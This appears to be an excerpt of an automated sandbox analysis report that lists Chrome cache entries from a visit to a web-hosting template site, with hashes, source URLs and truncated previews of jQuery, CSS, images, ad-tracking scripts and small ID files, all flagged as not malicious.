Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">....<body>.. <script>.... function post(w, d) { w.postMessage(d, '*'); }.. function receive(w, f) { w.addEventListener('message', f, false); }.... function td() {.. var d = new Date();.. d.setHours(0, 0, 0, 0);.. return d;.. }.... var k = 'adkl.unq';.... function gl() {.. var ts = td().getTime();.. try {.. var l = JSON.parse(localStorage.getItem(k)) \|\| {};.. return l.ts && l.ts >= ts ? l : { ts: ts };.. }.. catch (ex) { return { ts: ts }; }.. }.... function sl(l) {.. try { localStorage.setItem(k, JSON.stringify(l)); }.. catch (ex) { }.. }.... receive(window, function (e) {.. var mr = "adlk.req@";.. var data = e.data;.. if (typeof data == 'string' && data.substr(0, mr.length) == mr) {..

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	86926
Entropy (8bit):	5.289105225399087
Encrypted:	false
SSDEEP:	1536:jLiBdiaWLOczCmZx6+VWuGzQNOzdn6x2RZd9SEnk9HB96c9Yo/NWLbVj3kC6tv:5kn6x2xe9NK6nC6N
MD5:	4B57CF46DC8CB95C4CCA54AFC85E9540
SHA1:	05E1AD0CC600A057886DEAF237AB6E3D4FCDB5AC
SHA-256:	A28CCF8A7B50522BDEEA0CD83CDECA221C18FC1F9DF3EE6B3D3C48D599206855
SHA-512:	A6996F5029858C6DE6DE30EDA54F8ACC47D9713CB1ADC576173CE8F75F79A2B944B9C04BFA55AD62829E705CEDE4FCB7C7C90785E8CD3E0252D79A186B1760A7
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/js/jquery.min.js
Preview:	/! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t\|\|r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?l[c.call(e)]\|\|"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	unknown
URL:	https://id5-sync.com/c/102/163/7/3.gif?puid=lzYe0FkB1Sipw95&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	79299
Entropy (8bit):	5.310172731201167
Encrypted:	false
SSDEEP:	1536:b/QM4cRiWJfTvOJTJQlXyWQ1rFajzwaja4Fg+bFCcqBSYpw1ZdWZ6gFUmyoxrKbe:yWiWJzOJTJQlXyWQ1r2g+bFCcqBSYy1+
MD5:	CF1B563427134B23738CC6EA03507668
SHA1:	25903D1C153C2138550C6C635992358B82406D14
SHA-256:	308A0E72010A707EB5B5FE3A15CD0F54FD951FAFA228FC6C8312C5405D39F105
SHA-512:	49E0D55284E8D3F91A9347A100C59ED83833308D6248AA8DD54D28DEE75592FE03A89D49C296EA308E5564B76108DA8394CC15A745640A87979F046720363997
Malicious:	false
Reputation:	unknown
URL:	https://ced.sascdn.com/tag/1097/smart.js
Preview:	/_hs_/;var sas=window.sas\|\|{};sas.cmpIds=[2,3,5,6,7,9,10,14,18,21,25,27,28,31,35,46,47,50,54,58,59,61,63,68,69,72,76,77,79,84,90,92,96,104,105,112,113,123,125,129,134,141,162,165,167,168,171,181,183,185,198,200,212,213,218,221,222,224,225,227,229,231,235,236,237,242,246,247,258,259,260,264,273,279,280,282,287,291,292,294,297,299,300,302,303,304,305,306,308,309,310,311,312,316,317,318,319,321,323,327,329,330,332,335,340,341,343,345,348,350,351,352,353,354,355,361,363,364,367,369,371,374,376,379,380,382,383,384,385,386,387,388,390,392,393,396,397,399,401,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440];;window.sas_useTopicsAPIData=true;;/_hs_/(()=>{var e={17:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.ELogLevel=t.DATA_DOG_URL_PARAMS=t.DATA_DOG_URL_DOMAIN=t.DATA_DOG_DEFAULT_CLIENT_TOKEN=void 0,t.DATA_DOG_DEFAULT_CLIENT_TOKEN="pub4dc0b42521d789dc92f11b797f

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x824, components 3
Category:	downloaded
Size (bytes):	31870
Entropy (8bit):	4.37308367242378
Encrypted:	false
SSDEEP:	384:alr/DX7IpHyQefgKdgZbcEyUjQvsD5swzJM:w/DX7IxzKdgZJbdJM
MD5:	8E2A0E56AE25B282B437F9D5BD300D96
SHA1:	5D4BA26731EE84BA9BBC5487312162B826EDE550
SHA-256:	B48A7837A73459A7D6F545CB45A810533D9BF006A54077B2CA3BD62DD6F6315D
SHA-512:	A2529EFB9941F92A6C84C40214BC9C7C97AB70DD69040238B82F9422BFB5424B41E3F56146017C4A9FDB545B17F84058E03C8179FD4F6385E542D799DF5D7A4B
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/img/bg/flake-slider-header.jpg
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5aaa53e0-8413-0a44-88a2-af9827a5e901" xmpMM:DocumentID="xmp.did:89697D20CB3211E8BFD7E2E2A2AF5AE8" xmpMM:InstanceID="xmp.iid:89697D1FCB3211E8BFD7E2E2A2AF5AE8" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d1913ab5-0429-d942-a7a7-87386829cec2" stRef:documentID="adobe:docid:photoshop:5262d1c0-5654-c04f-af53-5c69d3b30458"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	173385
Entropy (8bit):	4.9242113385701725
Encrypted:	false
SSDEEP:	3072:0rrS89W0dOOEEaVfPeVWeJi4U8tIdslVSIhNxFsxc0rZYhaP7jNOeuU8oGOAHBZV:0fS89W0dOOEEaVfPeVWeJi4U8tIdslV3
MD5:	43BBB018DBFB3C985D19043D1C7006FB
SHA1:	18A1B01D19FEA3901A9BB321427AE34C70D919A4
SHA-256:	8B40AF05F3B3D6374C0964E7561EA6A74F80230FFAD28B281D8D0772696EB344
SHA-512:	7642F61D5E7808CA36E5E4169F2E3BF73A9E5D47BB64EB15296062C535E4E7D65E150C5AC79784CD9F2890A22E4DA45776818CD0B89B6C89CB58C06164EEAF42
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/style.css?ver=6
Preview:	/* ============================================.Template Name: Slake.Template URI:.Description: Hosting HTML5 Template.Author:.Author URI:.Version: 1.0.===================================================..##CSS TABLE OF CONTENT.--------------------------------.1. THEME BASIC CSS.2. HEADER TOP STYLE.3. NAVIGATION STYLE.4. HOMEPAGE-1 SLIDER-1 STYLE.5. HOME PAGE 2 STYLE SLIDER.6. HOME 1 BG ANIMATION.7. HOME 2 CLOUD ANIMATION.8. DOMAIN- STYLE SECTION.9. SECTION-TITLE STYLE.10. BLOG-1 STYLE.11. PRICING TABLE STYLE.12. FEATURE ONE STYLE.13. FEATURE TWO STYLE.14. FUN FACT STYLE.15. SERVICE STYLE.16. REGISTER STYLE.17. TESTIMONIAL STYLE.18. BRAND AREA STYLE.19. CALL-TO-ACTION AREA STYLE.20. FOOTER AREA STYLE.21. FOOTER BOTOM AREA STYLE.22. DOMAIN CHECKER AREA STYLE.23. FAQ PAGE STYLE.24. ABOUT.HTML STYLE.25. TAB STYLE.26. WELCOME AREA STYLE.27. DOMAIN-SEARCH AREA STYLE.28. DOMAIN-SEARCH-NOW AREA STYLE.29. DOMAIN-FEATURE AREA STYLE.30. HOSTING AREA.HTML STYLE.31. CLOUD HOSTING.HTML STYLE.32. D

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	62
Entropy (8bit):	4.814340915821438
Encrypted:	false
SSDEEP:	3:YQ3B/HByWxE+LV4jUPGXKwq:YQ3ZHByWt
MD5:	F4596B77DAB419CF19B0B06DCEFB1CD0
SHA1:	5D6653E1A8CD314CFCFC388ECF11292723268A90
SHA-256:	CAF33D09133BCF789E703491CE7E25DD5017C67B9F957FFB554456839EA518D1
SHA-512:	F786BC6EFD212B357DCAD54A38CCCB907614F458ED229BCB0561AD5C3DD9174B8D2C62CF090B236053428532BFEAA6A9DEC84FCD28A5F9C3FC0BD3F0EAC5574B
Malicious:	false
Reputation:	unknown
Preview:	{"user_id":"dNts6306JSIF1v1xnnpjsT","skip_subscription":false}

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	33
Entropy (8bit):	4.597276316262592
Encrypted:	false
SSDEEP:	3:YJH/yEC8000NY:YJ/yr8000K
MD5:	74CC1D5DBD409083F8C53083D53499E0
SHA1:	2E221A31154A5D8994BCBD00DC6DFB7FEE3130B4
SHA-256:	0CADE0708F593D3723A5C9A8B7641D19527DB21C2BD168953AABA377E4180D76
SHA-512:	5429AEC49A0A0408492ABD880E8AC0C1EDCACD667D220010F7BD01A1C10AC95421E68D26B595DFE6D2BB56FD3A9548C29235271A3A5E53926073996EF1EF81EA
Malicious:	false
Reputation:	unknown
URL:	https://lb.eu-1-id5-sync.com/lb/v1
Preview:	{"lb":"OL5bRHgYMVcb+TGNmD0dEQ=="}

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (460), with CRLF line terminators
Category:	downloaded
Size (bytes):	195562
Entropy (8bit):	5.211461356635705
Encrypted:	false
SSDEEP:	1536:cq7pbsm5dQmR/9ASeM6ujTGjtz5i1TIgGagdXNGS1mYHsBRz4:zbsm5imR/99eM6ujTMtz5iYNGSzs7z4
MD5:	E6A75BCE19E1AF2B4B6E3A01B6F04CF2
SHA1:	328FCDE6FA575FB9A0EA627060C33EE5B3B4018C
SHA-256:	34470BBE1DF98FED3CA5C1E83781EF6E427B410BEC75AEFF1DD3C00A43781CAD
SHA-512:	DEFCBAECF4270CA8E313643D503E47B61E136B5872B8EF2BF46DDE15B11C61CCEAB5DF8D2D3EC840C44BB1E84330D31C5C31BCE040C9C13CE4B0D124A7C3C1E9
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/css/elements.css?1
Preview:	@charset "UTF-8";...............preloder {.. position: absolute;.. width: 50px;.. height: 50px;.. border-radius: 15px;.. -webkit-animation: rotation 1s infinite;.. animation: rotation 1s infinite;.. z-index: 9;.. top: 50%;.. left: 50%;..}../...preloader-wrapper {.. background: #191d28;.. height: 100%;.. left: 0;.. position: fixed;.. right: 0;.. text-align: center;.. top: 0;.. width: 100%;.. z-index: 9999999;..}../...homepage-2 .preloader-wrapper {.. background: #eef1fb;..}...homepage-3 .preloader-wrapper {.. background: #eef1fb;..}.......preloder .shape {.. position: absolute;.. width: 20px;.. height: 20px;.. border-radius: 10px;..}...preloder .shape.shape-1 {.. left: 0;.. background-color: #4285F4;..}...preloder .shape.shape-2 {.. right: 0;.. background-color: #34A853;..}...preloder .shape.shape-3 {.. bottom: 0;.. background-color: #FBBC05;..}...preloder .shape.shape-4 {.. bottom: 0;.. right: 0;.. background-co

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4756), with no line terminators
Category:	downloaded
Size (bytes):	4756
Entropy (8bit):	5.399706661685369
Encrypted:	false
SSDEEP:	96:IPrheUkG7cncUnc8aJc8ajRG7BGf9V2/nBhvRxPd1NR/Un2Y9JvL5HX9SB:IPYU/wcUc8F8aw7BYV2/nB7xPbENJNG
MD5:	8C68A7F728A22E6686EFC77632588621
SHA1:	201C97DD5172556D6D3D26FBAA67C5B621D42A42
SHA-256:	CD7C4BE53B4F134FE7578D82901C04C513B566B918584FA7AE09E8F9EA06916D
SHA-512:	F1DDEF38D849551FBE559BA39EC122589558E94FCAA44EA4642433D6FC3FCD42CFF8BFF8AC1B983267649D2C14A944EE142417677EBEF8C3FDC91060A2A24029
Malicious:	false
Reputation:	unknown
URL:	https://p.cpx.to/p/12771/px.js
Preview:	(()=>{"use strict";const c="https://s.cpx.to",u=c+"/sync",p=76,l="_cids",w="xexp",g="xid",m="tid",x="texp",f=2592e6,_=2592e6;function I(e,t){return`&dsp=${e}&dsp_uid=`+t}function v(t,e){var n=document.referrer?"&ref="+encodeURIComponent(document.referrer):"",i=window.captify_kw_query_12771?"&kw="+encodeURIComponent(captify_kw_query_12771):"";let o=encodeURIComponent(document.URL),r=c+"/fire.js?",d=t?"&gcv="+t:"",s="pid=12771"+n+"&url="+o+"&hn_ver="+p+"&fid="+"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(e){var t=16*Math.random()\|0;return("x"==e?t:3&t\|8).toString(16)})+i+((n=e.id5)?I("id5",n):"")+(window.localStorage&&window.localStorage.getItem("_pubcid")?I("pub_common",window.localStorage.getItem("_pubcid")):window.pbjs&&window.pbjs.getUserIds&&window.pbjs.getUserIds().pubcid?I("pub_common",window.pbjs.getUserIds().pubcid):"")+(window.__uid2&&window.__uid2.getAdvertisingTokenAsync?(window.__uid2.getAdvertisingTokenAsync().then(e=>{e&&((new Image).src=u+"?"+I("uid2",e

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3205)
Category:	downloaded
Size (bytes):	4566
Entropy (8bit):	5.212766337153335
Encrypted:	false
SSDEEP:	96:pi9YlpiA/ncovvSPN4sNFf/Tc5lazXrQFZBQqg+BY8wPMW9SGZwPMpqi1u9JXj:cY2A/nckvSBf/webrQFZPgCY8wH9/Zw7
MD5:	6E0579662FCF9CFDA826DB5676F515A9
SHA1:	B0F749D8EF2E0E2A1FFB12FFB6491B990F8F41DB
SHA-256:	3DD4F53067DD0F0BD875BCF7ACEBFB72E908B5329DA8F19AB48FBBE4AA10DAA5
SHA-512:	862C2EA4E78E6956C77B646C3823816E86180150262F2AD7B163BC40522ED1CA81415745748C0D0A4AC7869C567019D58A1583D5EAE4F50BCC6382B3E1BD4D07
Malicious:	false
Reputation:	unknown
URL:	https://ads.themoneytizer.com/s/gen.js?type=28
Preview:	if (themoneytizer_async != 1) {. var confiantWrap = function confiantWrap(a, b, c, d, e, f, g) { 'v2.202005201049'; function h(a) { for (var b in l) if (b === a && l[b]) return l[b]; return null } function i(a) { if ("string" != typeof a) return a; var b = a.match(/[^\u0000-\u024F\u1E00-\u1EFF\u2C60-\u2C7F\uA720-\uA7FF]/g); if (!b) return a; for (var c = 0; c < b.length; c++)a = a.replace(b[c], encodeURIComponent(b[c])); return a } function j(a) { return a = i(a), (s(a) \|\| "")[y]("/", "_")[y]("+", "-") } function k(b, c, e, g) { var h = D + t(b) + "&d=" + c, i = "err__" + 1 * new Date; q[i] = g; var j = "<" + w + ' type="text/java' + w + '">window["' + d + '"]={};' + 'window["' + d + '"]["tpid"]="' + b + '";' + 'window["' + d + '"]["' + b + '"]=' + r.stringify(e) + ";" + "</" + w + ">", k = "<" + w + " on" + z + '="void(' + i + '())" ' + x + '="' + h + '" type="text/java' + w + '" ></' + w + ">"; f && (k = "<" + w + " on" + z + '="void(' + i + '())" ' + '" type="text/java' + w + '"

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	50208
Entropy (8bit):	3.7232264743291714
Encrypted:	false
SSDEEP:	768:x4wSS1mgrTW7eXUVjaiSqRI5nRz9q3VBF8D103aMgg9iJYYTCszA0oB00crUy:x4wSSFyeSDSnDq3Vj4g9iJY8CsNoB0
MD5:	8A300A9FB258C5E82A2CC9B751CC1B19
SHA1:	07F8DB6CC798916AEB9DE0C6FCC5EF08A96DC9D5
SHA-256:	F89D0A653AE729F51C9D245A90507D3E45543D9CC74E08908C4FB4EFA3524327
SHA-512:	01564DD0AD0D8DFDD0557252DFF0A0F991F7F4D03B984A56B9B1175826F9E4CA6EEDA0A29AEC84A51F6BC575F26D9B7C5D17E80868110A88C4D0B1C16F89AC34
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/images/ltd.svg
Preview:	<svg width="369" height="48" viewBox="0 0 369 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M4.4502 11.2568L7.29395 3.04688H8.72949L5.03809 13H3.87598L0.191406 3.04688H1.62012L4.4502 11.2568ZM15.6953 8.39941H11.3818V11.9268H16.3926V13H10.0693V3.04688H16.3242V4.12695H11.3818V7.32617H15.6953V8.39941ZM21.6768 8.97363H19.3389V13H18.0195V3.04688H21.3145C22.4355 3.04688 23.2969 3.30208 23.8984 3.8125C24.5046 4.32292 24.8076 5.06576 24.8076 6.04102C24.8076 6.66081 24.639 7.20085 24.3018 7.66113C23.9691 8.12142 23.5042 8.46549 22.9072 8.69336L25.2451 12.918V13H23.8369L21.6768 8.97363ZM19.3389 7.90039H21.3555C22.0072 7.90039 22.5244 7.73177 22.9072 7.39453C23.2946 7.05729 23.4883 6.60612 23.4883 6.04102C23.4883 5.42578 23.3037 4.9541 22.9346 4.62598C22.57 4.29785 22.0413 4.13151 21.3486 4.12695H19.3389V7.90039ZM32.9834 4.12695H29.7842V13H28.4785V4.12695H25.2861V3.04688H32.9834V4.12695ZM35.8682 13H34.5557V3.04688H35.8682V13ZM45.2812 3.04688V9.81445C45.2767 10.7533 44.9805 11.5212

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	8217
Entropy (8bit):	4.3736511627397565
Encrypted:	false
SSDEEP:	192:S9LBKa7a17t7hzIeA4Wl5Cn9JBtnReFTTYUEwI+aqN:El7GR9seOl5AREbINS
MD5:	CC54F0829767B49845F9EFE8EC4C7347
SHA1:	82A844CF7B6D217983AAD02E036F4E983020E1E6
SHA-256:	6A62E58DD62C1F48F9E28869A685DAD62E2FAC04B750FFE8C38B870AA2BCC4B6
SHA-512:	3B85E6BD4A46ACF9884CD83E89151CB3F0B043067BAE0FD80C6DE2AD0747363DC8676A46391352FBA4D83FDED4960A267DEE6141FCDD773D78AA8699BE82E5B0
Malicious:	false
Reputation:	unknown
Preview:	<svg width="1276" height="287" viewBox="0 0 1276 287" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M96.5 243C120.204 255.664 142.095 258.283 168.298 252.311C194.502 246.339 217.67 231.112 233.546 209.428C249.422 187.744 256.94 161.059 254.719 134.276C252.498 107.493 240.686 82.4112 221.455 63.6388C202.223 44.8663 176.863 33.6643 150.034 32.0908C123.205 30.5174 96.7099 38.6782 75.4157 55.0739C54.1215 71.4695 39.459 94.9987 34.1221 121.338C28.7867 147.671 33.1303 175.044 46.3547 198.432C46.3583 198.438 43.9755 193.994 43.979 194L34.9548 202.007C28.2874 207.922 17.4068 206.463 12.6867 198.902C10.1754 194.88 7.93551 190.773 6.5891 186.484C-0.623894 163.509 -1.98813 138.922 2.85815 115.004C9.72043 81.1354 28.574 50.8807 55.9548 29.7986C83.3356 8.71653 117.404 -1.77691 151.902 0.246304C186.399 2.26952 219.008 16.6735 243.737 40.8117C268.465 64.9499 283.653 97.2011 286.509 131.64C289.366 166.078 279.698 200.39 259.284 228.273C238.87 256.155

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.729497137882247
Encrypted:	false
SSDEEP:	3:YxhA/CwSsRBVWtQqE1JnshCNNpAcANQDxP7QxwS4:YnDosmshWAcANQtPJh
MD5:	9966058DCC2E503F837B29106AB10476
SHA1:	C8ED702FB10CD13EF5D8C6204A59E4D3A5815669
SHA-256:	424DCD3958A88639121BB268A9FBF30DA684864F291431AB27ACAC570A2715E3
SHA-512:	43BDAF20DE9D39B65F4AD6360C3CE6701F5A92AD495F6369E8CD4F320DAF316E474D99CEE42DBAEE0B6C12F04F90DA012280A31CC91C6ECECB462DE0F9D3F5D1
Malicious:	false
Reputation:	unknown
Preview:	{"TDID":"7a9427d7-5567-4b13-ad78-e53aa5bc8a0b","TDID_LOOKUP":"TRUE","TDID_CREATED_AT":"2024-05-15T09:14:57"}

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	548
Entropy (8bit):	4.815749721547494
Encrypted:	false
SSDEEP:	12:wHDoDd39H/vM2SM+8meRHAUeZS6Shs/MeSutdDvZA0TsXGrESudMvSqC:w8DbfvMu/US6SW/lrNzI8gdMvST
MD5:	A53EB58F04DB28B561E3CF6F2327C28D
SHA1:	771A6FA87951B23F05513C5B6C6BC260052E114E
SHA-256:	67DD147575B0963981F0A47878165F9048269FD8C90F632A28EECCE73B5D9AE6
SHA-512:	81A8BE96BBBCB2C728B7A20BC7426F360DB86D129D82F22FD57718C654E61D75D9B466830A3C1DEB5935FFA30B599852720EF10017652C3E99500205E67258C6
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/cookie.css?ver=6
Preview:	.cookies {. width: 100%;. height: 77px;. padding: 0 10px;. display: flex;. justify-content: center;. align-items: center;. background: #31354d;.}..cookies__desc {. font-style: normal;. font-weight: normal;. font-size: 14px;. line-height: 25px;. color: #ffffff;. margin-right: 61px;.}..cookies_nb {width: 185px;border: solid #5ed1f4;font-weight: bold;margin-right: 40px;color: #5ed1f4;text-align: center;}..cookies_white {. width: 185px;. box-shadow: 0px 4px 4px rgba(0, 0, 0, 0.08);. color: white;.}.

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42894), with no line terminators
Category:	downloaded
Size (bytes):	42894
Entropy (8bit):	5.1442577143313475
Encrypted:	false
SSDEEP:	768:hStyRbNWmYd7ZTt6vw7R01rnk6BcxL+zhRNxA5l2ng7ytcKaWDxQ:hStyRsmYd7ZTt6+R9
MD5:	C3CF3362AC1B65704603FA5FC3B9CFFF
SHA1:	73C2CE95CA7559B61D73CED1E892B59CB523670F
SHA-256:	AD58ED0CB9AA4FED41A85AA07BC92963B6A48A0A90C9CE466563B1B9D69981B9
SHA-512:	83CFF980BF3E6D3DD6BB03BE96B92ACE0952924CC568DC09E47463E048EB67271F676EF924C613DC446AB52F4B50C6BEAA1691C8A9810CB2102E093E7D263194
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/css/jquery.mCustomScrollbar.min.css
Preview:	.mCustomScrollbar{-ms-touch-action:pinch-zoom;touch-action:pinch-zoom}.mCustomScrollbar.mCS_no_scrollbar,.mCustomScrollbar.mCS_touch_action{-ms-touch-action:auto;touch-action:auto}.mCustomScrollBox{position:relative;overflow:hidden;height:100%;max-width:100%;outline:0;direction:ltr}.mCSB_container{overflow:hidden;width:auto;height:auto}.mCSB_inside>.mCSB_container{margin-right:30px}.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden{margin-right:0}.mCS-dir-rtl>.mCSB_inside>.mCSB_container{margin-right:0;margin-left:30px}.mCS-dir-rtl>.mCSB_inside>.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden{margin-left:0}.mCSB_scrollTools{position:absolute;width:16px;height:auto;left:auto;top:0;right:0;bottom:0;opacity:.75;filter:"alpha(opacity=75)";-ms-filter:"alpha(opacity=75)"}.mCSB_outside+.mCSB_scrollTools{right:-26px}.mCS-dir-rtl>.mCSB_inside>.mCSB_scrollTools,.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools{right:auto;left:0}.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools{left:-26px}.mCSB_scrollTools .mC

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8320), with CRLF line terminators
Category:	downloaded
Size (bytes):	339281
Entropy (8bit):	5.428088943631436
Encrypted:	false
SSDEEP:	6144:VXkUlEbvNieePi95rjloRJyVeZZpFSs3JxtkfRDIvIYQeGSprz:J+Nie+i9wyVeZZpFSs5xtkfRkFGSN
MD5:	132E96F62255F4DAF2AFF234F50912C2
SHA1:	62BBE81F1A3C0BABFC39E2C3ABF6D5687F3493F6
SHA-256:	07174A0088FE0B461713A172E371E448F3D8EEF64886D3E2F04A2E178073F6AD
SHA-512:	0C3529B35F406D334A09A4B90CA40B1279DFD3E4EC9824866FA139EF793B6FC3FC10E9BE87E7BB9FAC1FDEAA166D2356A785C44C0221BC251BABB16310876844
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/js/plugins.js
Preview:	../* jQuery Nice Select - v1.0.. https://github.com/hernansartorio/jquery-nice-select.. Made by Hern.n Sartorio */..!function(e){e.fn.niceSelect=function(t){function s(t){t.after(e("<div></div>").addClass("nice-select").addClass(t.attr("class")\|\|"").addClass(t.attr("disabled")?"disabled":"").attr("tabindex",t.attr("disabled")?null:"0").html('<span class="current"></span><ul class="list"></ul>'));var s=t.next(),n=t.find("option"),i=t.find("option:selected");s.find(".current").html(i.data("display")\|\|i.text()),n.each(function(t){var n=e(this),i=n.data("display");s.find("ul").append(e("<li></li>").attr("data-value",n.val()).attr("data-display",i\|\|null).addClass("option"+(n.is(":selected")?" selected":"")+(n.is(":disabled")?" disabled":"")).html(n.text()))})}if("string"==typeof t)return"update"==t?this.each(function(){var t=e(this),n=e(this).next(".nice-select"),i=n.hasClass("open");n.length&&(n.remove(),s(t),i&&t.next().trigger("click"))}):"destroy"==t?(this.each(function(){var t

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65499), with no line terminators
Category:	downloaded
Size (bytes):	82300
Entropy (8bit):	5.239682326222095
Encrypted:	false
SSDEEP:	768:xo0gDosGGW/QCcvE9x7LGU0/7SiFpm6XhJfTm27O0+HCWPH5OcPKxVhZmjisaDzf:6eNYC7yFfQv55PkpNDzuNHTiQU9GJ0
MD5:	A3775C42CB4E56EF1A570B7CDEBD23C9
SHA1:	550637BE9B0A4B98BD652CB57A4DB659BEDF164A
SHA-256:	FFA46FF2AB7C9A7B48B00820EE58A7B446DAEA3B9CC038B132C6CD79CC4CB714
SHA-512:	C7596703127C276C4C8772D1AD7610D6819E25620D3FE630D9B47461212B3C0ECAAF73486B0A96DECFF93F790E130A2C70B75DF6C906ED79218405BE367E2669
Malicious:	false
Reputation:	unknown
URL:	https://cdn.adlook.me/js/rlf.js
